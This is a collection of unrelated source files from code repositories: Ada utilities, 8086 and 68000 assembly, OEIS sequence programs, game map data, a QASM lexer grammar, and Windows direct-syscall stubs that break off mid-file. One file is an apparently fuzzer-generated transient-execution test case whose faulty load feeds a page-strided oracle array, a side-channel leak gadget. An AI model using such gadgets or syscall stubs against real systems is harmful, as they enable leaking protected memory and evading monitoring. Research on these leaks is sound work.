S, Blank_Line : constant String (1 .. 400) := (others => ' '); Line, Oldline : String (1 .. 400) := (others => ' '); Last : Integer := 0; Mx, Nx : Natural := 0; Line_Number : Integer := 0; Number : Integer := 0; procedure Get_Entry (Mx, Nx : out Natural) is Ls : Integer := 0; Enter_Line : String (1 .. 20); begin Get_Line (Enter_Line, Ls); Get (Enter_Line (1 .. Ls), Mx, Last); Get (Enter_Line (Last + 1 .. Ls), Nx, Last); end Get_Entry; begin Put_Line ("DUPS.IN -> DUPS.OUT For sorted files"); Put_Line ("DUPS checks for columns MX .. NX being duplicates"); Get_Entry (Mx, Nx); Create (Output, Out_File, "DUPS.OUT"); Open (Input, In_File, "DUPS.IN"); while not End_Of_File (Input) loop Oldline := Line; Line := Blank_Line; Get_Line (Input, Line, Last); Line_Number := Line_Number + 1; if Line (Mx .. Nx) = Oldline (Mx .. Nx) and then (Line (111) /= '|') then Number := Number + 1; Put (Output, Line_Number); Put (Output, " "); Put_Line (Output, Line (1 .. Nx)); end if; end loop; Close (Output); New_Line; Put ("Number of entries = "); Put (Line_Number); New_Line; Put ("Number of DUPS = "); Put (Number); New_Line; Put ("Ratio = 1 :"); Put (Line_Number / Number); New_Line; exception when Name_Error => Put_Line ("No file to process"); Close (Output); when others => Put ("Exception on LINE"); Put (Line_Number); New_Line; Put_Line (S (1 .. Last)); Close (Output); end Dups;
IV Semester/Microprocessor_Lab/5B_Display_Left_To_Right/5B.asm
ckraju/CSE-Lab-Manual
2
4132
.MODEL SMALL .DATA PA EQU 0D800H PB EQU 0D801H PC EQU 0D802H CW EQU 0D803H NUM DW 0FFFFH ;16 bit intput number taken TABLE DB 0C0H, 0F9H, 0A4H, 0B0H, 99H, 92H, 82H, 0F8H, 80H, 90H ; 0 1 2 3 .... 9 numbers LIST DB 0FFH, 0FFH, 0FFH, 0FFH, ? , ? , ? , ? , ? , 0FFH, 0FFH, 0FFH, 0FFH .CODE MOV AX,@DATA MOV DS,AX MOV DX,CW ;all ports are output MOV AL,80H OUT DX,AL mov ax,NUM ;AX = NUM MOV CX,00H ;Counter is 0 MOV BX,010D L1: MOV DX,00H DIV BX ;divide by 10 PUSH DX ;push remainder, the last digit INC CX CMP AX,00H JNZ L1 LEA SI,LIST+8 LEA BX,TABLE ;converting to BCD digits L2: POP AX XLAT ;match with the table which is in bx MOV [SI],AL ;store it in list digits in BCD DEC SI ;in reverse order LOOP L2 mov bh,010d ; display from left To right lea di,list l3: mov si,di ;si is going to change when display is used call DISPLAY call DELAY INC DI DEC BH ;loop for 10 times JNZ L3 MOV BH,09D ; display from right to left lea DI,LIST+8 L4: MOV SI,DI CALL DISPLAY CALL DELAY DEC DI DEC BH ;loop for 9 times JNZ L4 mov ah,4ch int 21h DISPLAY PROC NEAR ;display using port B for LED MOV CX,04H letter: MOV BL,08H MOV AL,[SI] segments: ROL AL,01H MOV DX,PB ;7 segment display with port B OUT DX,AL PUSH AX MOV AL,00H ;clock trigger MOV DX,PC OUT DX,AL MOV AL,01H OUT DX,AL POP AX DEC BL JNZ segments INC SI LOOP letter RET DISPLAY ENDP DELAY PROC NEAR PUSH SI PUSH DI MOV SI,0FFFFH Outer: MOV DI,0FFFFH Inner: DEC DI JNZ Inner DEC SI JNZ Outer POP DI POP SI RET DELAY ENDP END
Sources/Globe_3d/globe_3d-random_extrusions.ads
ForYouEyesOnly/Space-Convoy
1
6160
<reponame>ForYouEyesOnly/Space-Convoy<gh_stars>1-10 ------------------------------------------------------------------------------ -- File : GLOBE_3D - Random_extrusions.ads -- Description : Algorithm to generate a Sci - Fi - style extruded surface -- Date / Version : 14 - May - 2006 -- Copyright (c) <NAME> 2006 ------------------------------------------------------------------------------ generic with procedure Geometric_mapping (u : in Point_3D; x : out Point_3D); -- (u (1), u (2)) in [0;1] x [0;1] -- -- Edge numbering: -- (0, 1) 4 --< --3 (1, 1) -- | | -- (0, 0) 1 --> --2 (1, 0) -- -- u (3) : elevation above surface package GLOBE_3D.Random_extrusions is procedure Extrude_on_rectangle ( T1, T2, T3, T4 : in Map_idx_pair; -- Texture edges, horizontal surface V1, V2, V3, V4 : in Map_idx_pair; -- Texture edges, vertical surfaces grid_1, grid_2 : in Positive; T_ID, V_ID : in Image_ID; -- ID's of plane and vertical texture max_u3 : in Real; iterations : in Natural; last_point : out Natural; mesh : out Point_3D_array; last_face : out Natural; poly : out Face_array; random_initiator : in Integer := 0 -- default 0 - > time - dependent seed ); end GLOBE_3D.Random_extrusions;
smsq/gold/driver/most.asm
olifink/smsqe
0
176873
; base area SMSQ GOLD Drivers section header xref smsq_end header_base dc.l gl_most-header_base ; length of header dc.l 0 ; module length unknown dc.l smsq_end-gl_most ; loaded length dc.l 0 ; checksum dc.l 0 ; always select dc.b 1 ; 1 level down dc.b 0 dc.w smsq_name-* smsq_name dc.w 17,'SMSQ GOLD Drivers ' dc.l ' ' dc.w $200a section base xref iob_smsq ; SMSQ IOB bits xref qd_int2 xref hdop_init xref sms_hdop xref dev_init xref nul_init xref pipe_init xref rd_init xref iob_init xref history_init xref par_init xref ser_baud include 'dev8_keys_qlv' include 'dev8_keys_sys' include 'dev8_keys_psf' include 'dev8_keys_68000' include 'dev8_keys_qlhw' include 'dev8_keys_qdos_sms' include 'dev8_smsq_smsq_base_keys' include 'dev8_smsq_smsq_config_keys' include 'dev8_smsq_gold_keys' include 'dev8_mac_assert' gl_most bra.l start xdef iou_dirshr iou_dirshr dc.w 0 ; shared directories supported (RAM disk) section init start jsr hdop_init jsr dev_init jsr nul_init jsr pipe_init jsr rd_init jsr iob_init jsr history_init jsr par_init sys_init ; When we have linked in the interrupt servers, we can enable the interrupts moveq #sms.xtop,d0 trap #do.sms2 clr.w psf_sr(a5) ; we can clear interrupts on return lea qd_int2,a0 ; set interrupt routine address lea exv_i2,a5 bsr.s irm_wbase moveq #$ffffff00+pc.maskt+pc.intri,d0 ; enable transmit interrupt move.b d0,sys_qlir(a6) ; .... and always clear interface int move.b d0,pc_intr lea hw_poll,a0 lea sms.hpoll,a5 ; and tidy up bsr.s irm_wbase lea sms_hdop,a0 lea sms.t1tab+sms.hdop*4,a5 ; set hdop bsr.s irm_wbase assert sms.hdop,sms.comm-1 lea gl_comm,a0 bsr.s irm_wbase ; comms baud routine move.w #9600,d1 ; set harware to 9600 jmp ser_baud gl_comm move.l sms.rte,-(sp) ; return jmp ser_baud ; do GOLD card Baud irm_wbase move.l a0,d0 ; write a0 to vector area swap d0 bsr.s wb_do swap d0 wb_do jmp sms.wbase ;+++ ; Gold SMSQ polling interrupt server operating off the frame interrupt. ; Clears the frame interupt (and, implicitly, the interface interrupt). ; See SHD_POLL. ;--- hw_poll ; subq.w #1,$20004 ; bgt.s xx ; move.w #50,$20004 ; not.w $20006 ;xx moveq #pc.intrf,d7 or.b sys_qlir(a6),d7 move.b d7,pc_intr ; clear offending interrupt rts end
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_922.asm
ljhsiun2/medusa
9
27407
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %r9 push %rbx push %rcx push %rdi lea addresses_WC_ht+0xf086, %rbx and %r10, %r10 movb (%rbx), %cl cmp %r10, %r10 lea addresses_WT_ht+0x6ec8, %r9 nop nop nop nop inc %r15 mov (%r9), %r12 nop nop and %r10, %r10 lea addresses_WC_ht+0x1648, %r15 nop nop nop nop nop cmp %r12, %r12 mov (%r15), %bx nop sub %r9, %r9 pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi // Store lea addresses_US+0x1f7c8, %rbx nop nop nop nop nop xor %rdi, %rdi movl $0x51525354, (%rbx) nop nop nop inc %rsi // Store lea addresses_UC+0xe798, %r12 clflush (%r12) nop nop nop nop nop dec %rcx movw $0x5152, (%r12) nop add $38114, %rdi // Store lea addresses_PSE+0x4d00, %r9 xor %rbp, %rbp mov $0x5152535455565758, %rsi movq %rsi, (%r9) nop nop add %rbp, %rbp // Store lea addresses_A+0x10648, %rcx nop nop nop nop inc %rbx movb $0x51, (%rcx) nop nop nop inc %rdi // Store lea addresses_RW+0x1c434, %rdi nop nop nop and %r12, %r12 mov $0x5152535455565758, %rcx movq %rcx, (%rdi) // Exception!!! nop mov (0), %rdi nop nop nop nop nop cmp $37024, %rsi // Faulty Load lea addresses_RW+0x1fe48, %rcx nop nop cmp $64394, %r12 mov (%rcx), %rdi lea oracles, %r9 and $0xff, %rdi shlq $12, %rdi mov (%r9,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_US'}} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': True, 'type': 'addresses_UC'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_PSE'}} {'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_RW'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
programs/oeis/198/A198954.asm
karttu/loda
0
105441
; A198954: Expansion of the rotational partition function for a heteronuclear diatomic molecule. ; 1,3,0,5,0,0,7,0,0,0,9,0,0,0,0,11,0,0,0,0,0,13,0,0,0,0,0,0,15,0,0,0,0,0,0,0,17,0,0,0,0,0,0,0,0,19,0,0,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,23,0,0,0,0,0,0,0,0,0,0,0,25,0,0,0,0,0,0,0,0,0,0,0,0,27,0,0,0,0,0,0,0,0,0,0,0,0,0,29,0,0,0,0,0,0,0,0,0,0,0,0,0,0,31,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,33,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,35,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,37,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,41,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,43,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mul $0,2 mov $1,1 lpb $0,1 sub $0,1 add $1,2 mov $2,$0 trn $0,$1 lpe sub $2,1 lpb $0,2 trn $1,$2 lpe
Levels/Pachinko/Misc Object Data/Map - Item Orb.asm
NatsumiFox/AMPS-Sonic-3-Knuckles
5
247702
<reponame>NatsumiFox/AMPS-Sonic-3-Knuckles Map_PachinkoItemOrb_:dc.w word_4A29E-Map_PachinkoItemOrb_ dc.w word_4A2A6-Map_PachinkoItemOrb_ dc.w word_4A2AE-Map_PachinkoItemOrb_ dc.w word_4A2B6-Map_PachinkoItemOrb_ dc.w word_4A2BE-Map_PachinkoItemOrb_ word_4A29E: dc.w 1 ; DATA XREF: ROM:0004A294o dc.b $F8, 5, 0, 0, $FF, $F8 word_4A2A6: dc.w 1 ; DATA XREF: ROM:0004A294o dc.b $F8, 5, 0, 4, $FF, $F8 word_4A2AE: dc.w 1 ; DATA XREF: ROM:0004A294o dc.b $F8, 5, 0, 8, $FF, $F8 word_4A2B6: dc.w 1 ; DATA XREF: ROM:0004A294o dc.b $F8, 5, 0, $C, $FF, $F8 word_4A2BE: dc.w 1 ; DATA XREF: ROM:0004A294o dc.b $F8, 5, 0, $10, $FF, $F8
oeis/045/A045342.asm
neoneye/loda-programs
11
21134
; A045342: Primes congruent to {1, 2, 3} mod 7. ; Submitted by <NAME> ; 2,3,17,23,29,31,37,43,59,71,73,79,101,107,113,127,149,157,163,191,197,199,211,227,233,239,241,269,281,283,311,317,331,337,353,359,367,373,379,401,409,421,443,449,457,463,479,491,499,521,541,547,563,569,577,617,619,631,647,653,659,661,673,701,709,743,751,757,773,787,821,827,829,857,863,877,883,911,919,941,947,953,967,983,997,1009,1031,1039,1051,1087,1093,1109,1123,1129,1151,1163,1171,1193,1213,1249 mov $1,8 mov $2,332202 mov $6,1 lpb $2 mov $3,$6 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,14 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,17 sub $5,5 add $5,$1 div $5,6 mov $6,$5 lpe mov $0,$6 add $0,1
Assembler/AssemblyCode/TTL/MOV16_J.asm
KPU-RISC/KPU
8
240343
MOV XL, 11111110b MOV XH, 0x00 MOV J, X ; Initialize the D and E register MOV E, [J] MOV D, 00000001b ; Add both values ADD E, D DATA 0000000011111110b, 00000001b
server/src/qasm/antlr/QasmLexer.g4
stjordanis/qiskit-vscode
6
1341
/** * @license * * Copyright (c) 2018, IBM. * * This source code is licensed under the Apache License, Version 2.0 found in * the LICENSE.txt file in the root directory of this source tree. */ lexer grammar QasmLexer; Comment: '//' ~[\r\n]* -> skip; WhiteSpace: [ \t\n\r] -> skip; Real: [0-9]+'.'[0-9]+; Int: [0-9]+; QasmDescriptor: 'OPENQASM 2.0;' | 'IBMQASM 2.0;'; Include: 'include'; Qelib: 'QELIB.INC'; Qreg: 'qreg'; Creg: 'creg'; Clean: 'clean'; U: 'U'; Cx: 'CX'; Sin: 'sin'; Cos: 'cos'; Tan: 'tan'; Exp: 'exp'; Ln: 'ln'; Sqrt: 'sqrt'; Measure: 'measure'; Barrier: 'barrier'; Reset: 'reset'; Opaque: 'opaque'; If: 'if'; Equals: '=='; Assign: '->'; Semi: ';'; Comma: ','; LeftCurlyBrace: '{'; RightCurlyBrace: '}'; LeftBrace: '['; RightBrace: ']'; LeftParen: '('; RightParen: ')'; Pow: '^'; Mult: '*'; Div: '/'; Sum: '+'; Subs: '-'; Pi: 'pi'; Gate: 'gate'; Library: [a-z][a-zA-Z0-9]*'.inc'; Id: [a-z][a-zA-Z0-9]*;
10.0.14393-sp0-windows-10-rs1-1607/amd64/ssdt_sysenter.asm
rmusser01/windows-syscall-table
6
5063
<reponame>rmusser01/windows-syscall-table ; DO NOT MODIFY THIS FILE DIRECTLY! ; author: @TinySecEx ; ssdt asm stub for 10.0.14393-sp0-windows-10-rs1-1607 amd64 option casemap:none option prologue:none option epilogue:none .code ; ULONG64 __stdcall NtAccessCheck( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtAccessCheck PROC STDCALL mov r10 , rcx mov eax , 0 ;syscall db 0Fh , 05h ret NtAccessCheck ENDP ; ULONG64 __stdcall NtWorkerFactoryWorkerReady( ULONG64 arg_01 ); NtWorkerFactoryWorkerReady PROC STDCALL mov r10 , rcx mov eax , 1 ;syscall db 0Fh , 05h ret NtWorkerFactoryWorkerReady ENDP ; ULONG64 __stdcall NtAcceptConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtAcceptConnectPort PROC STDCALL mov r10 , rcx mov eax , 2 ;syscall db 0Fh , 05h ret NtAcceptConnectPort ENDP ; ULONG64 __stdcall NtMapUserPhysicalPagesScatter( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtMapUserPhysicalPagesScatter PROC STDCALL mov r10 , rcx mov eax , 3 ;syscall db 0Fh , 05h ret NtMapUserPhysicalPagesScatter ENDP ; ULONG64 __stdcall NtWaitForSingleObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtWaitForSingleObject PROC STDCALL mov r10 , rcx mov eax , 4 ;syscall db 0Fh , 05h ret NtWaitForSingleObject ENDP ; ULONG64 __stdcall NtCallbackReturn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCallbackReturn PROC STDCALL mov r10 , rcx mov eax , 5 ;syscall db 0Fh , 05h ret NtCallbackReturn ENDP ; ULONG64 __stdcall NtReadFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtReadFile PROC STDCALL mov r10 , rcx mov eax , 6 ;syscall db 0Fh , 05h ret NtReadFile ENDP ; ULONG64 __stdcall NtDeviceIoControlFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); NtDeviceIoControlFile PROC STDCALL mov r10 , rcx mov eax , 7 ;syscall db 0Fh , 05h ret NtDeviceIoControlFile ENDP ; ULONG64 __stdcall NtWriteFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtWriteFile PROC STDCALL mov r10 , rcx mov eax , 8 ;syscall db 0Fh , 05h ret NtWriteFile ENDP ; ULONG64 __stdcall NtRemoveIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtRemoveIoCompletion PROC STDCALL mov r10 , rcx mov eax , 9 ;syscall db 0Fh , 05h ret NtRemoveIoCompletion ENDP ; ULONG64 __stdcall NtReleaseSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtReleaseSemaphore PROC STDCALL mov r10 , rcx mov eax , 10 ;syscall db 0Fh , 05h ret NtReleaseSemaphore ENDP ; ULONG64 __stdcall NtReplyWaitReceivePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtReplyWaitReceivePort PROC STDCALL mov r10 , rcx mov eax , 11 ;syscall db 0Fh , 05h ret NtReplyWaitReceivePort ENDP ; ULONG64 __stdcall NtReplyPort( ULONG64 arg_01 , ULONG64 arg_02 ); NtReplyPort PROC STDCALL mov r10 , rcx mov eax , 12 ;syscall db 0Fh , 05h ret NtReplyPort ENDP ; ULONG64 __stdcall NtSetInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationThread PROC STDCALL mov r10 , rcx mov eax , 13 ;syscall db 0Fh , 05h ret NtSetInformationThread ENDP ; ULONG64 __stdcall NtSetEvent( ULONG64 arg_01 , ULONG64 arg_02 ); NtSetEvent PROC STDCALL mov r10 , rcx mov eax , 14 ;syscall db 0Fh , 05h ret NtSetEvent ENDP ; ULONG64 __stdcall NtClose( ULONG64 arg_01 ); NtClose PROC STDCALL mov r10 , rcx mov eax , 15 ;syscall db 0Fh , 05h ret NtClose ENDP ; ULONG64 __stdcall NtQueryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryObject PROC STDCALL mov r10 , rcx mov eax , 16 ;syscall db 0Fh , 05h ret NtQueryObject ENDP ; ULONG64 __stdcall NtQueryInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationFile PROC STDCALL mov r10 , rcx mov eax , 17 ;syscall db 0Fh , 05h ret NtQueryInformationFile ENDP ; ULONG64 __stdcall NtOpenKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtOpenKey PROC STDCALL mov r10 , rcx mov eax , 18 ;syscall db 0Fh , 05h ret NtOpenKey ENDP ; ULONG64 __stdcall NtEnumerateValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtEnumerateValueKey PROC STDCALL mov r10 , rcx mov eax , 19 ;syscall db 0Fh , 05h ret NtEnumerateValueKey ENDP ; ULONG64 __stdcall NtFindAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtFindAtom PROC STDCALL mov r10 , rcx mov eax , 20 ;syscall db 0Fh , 05h ret NtFindAtom ENDP ; ULONG64 __stdcall NtQueryDefaultLocale( ULONG64 arg_01 , ULONG64 arg_02 ); NtQueryDefaultLocale PROC STDCALL mov r10 , rcx mov eax , 21 ;syscall db 0Fh , 05h ret NtQueryDefaultLocale ENDP ; ULONG64 __stdcall NtQueryKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryKey PROC STDCALL mov r10 , rcx mov eax , 22 ;syscall db 0Fh , 05h ret NtQueryKey ENDP ; ULONG64 __stdcall NtQueryValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtQueryValueKey PROC STDCALL mov r10 , rcx mov eax , 23 ;syscall db 0Fh , 05h ret NtQueryValueKey ENDP ; ULONG64 __stdcall NtAllocateVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtAllocateVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 24 ;syscall db 0Fh , 05h ret NtAllocateVirtualMemory ENDP ; ULONG64 __stdcall NtQueryInformationProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationProcess PROC STDCALL mov r10 , rcx mov eax , 25 ;syscall db 0Fh , 05h ret NtQueryInformationProcess ENDP ; ULONG64 __stdcall NtWaitForMultipleObjects32( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtWaitForMultipleObjects32 PROC STDCALL mov r10 , rcx mov eax , 26 ;syscall db 0Fh , 05h ret NtWaitForMultipleObjects32 ENDP ; ULONG64 __stdcall NtWriteFileGather( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtWriteFileGather PROC STDCALL mov r10 , rcx mov eax , 27 ;syscall db 0Fh , 05h ret NtWriteFileGather ENDP ; ULONG64 __stdcall NtSetInformationProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtSetInformationProcess PROC STDCALL mov r10 , rcx mov eax , 28 ;syscall db 0Fh , 05h ret NtSetInformationProcess ENDP ; ULONG64 __stdcall NtCreateKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtCreateKey PROC STDCALL mov r10 , rcx mov eax , 29 ;syscall db 0Fh , 05h ret NtCreateKey ENDP ; ULONG64 __stdcall NtFreeVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtFreeVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 30 ;syscall db 0Fh , 05h ret NtFreeVirtualMemory ENDP ; ULONG64 __stdcall NtImpersonateClientOfPort( ULONG64 arg_01 , ULONG64 arg_02 ); NtImpersonateClientOfPort PROC STDCALL mov r10 , rcx mov eax , 31 ;syscall db 0Fh , 05h ret NtImpersonateClientOfPort ENDP ; ULONG64 __stdcall NtReleaseMutant( ULONG64 arg_01 , ULONG64 arg_02 ); NtReleaseMutant PROC STDCALL mov r10 , rcx mov eax , 32 ;syscall db 0Fh , 05h ret NtReleaseMutant ENDP ; ULONG64 __stdcall NtQueryInformationToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtQueryInformationToken PROC STDCALL mov r10 , rcx mov eax , 33 ;syscall db 0Fh , 05h ret NtQueryInformationToken ENDP ; ULONG64 __stdcall NtRequestWaitReplyPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtRequestWaitReplyPort PROC STDCALL mov r10 , rcx mov eax , 34 ;syscall db 0Fh , 05h ret NtRequestWaitReplyPort ENDP ; ULONG64 __stdcall NtQueryVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtQueryVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 35 ;syscall db 0Fh , 05h ret NtQueryVirtualMemory ENDP ; ULONG64 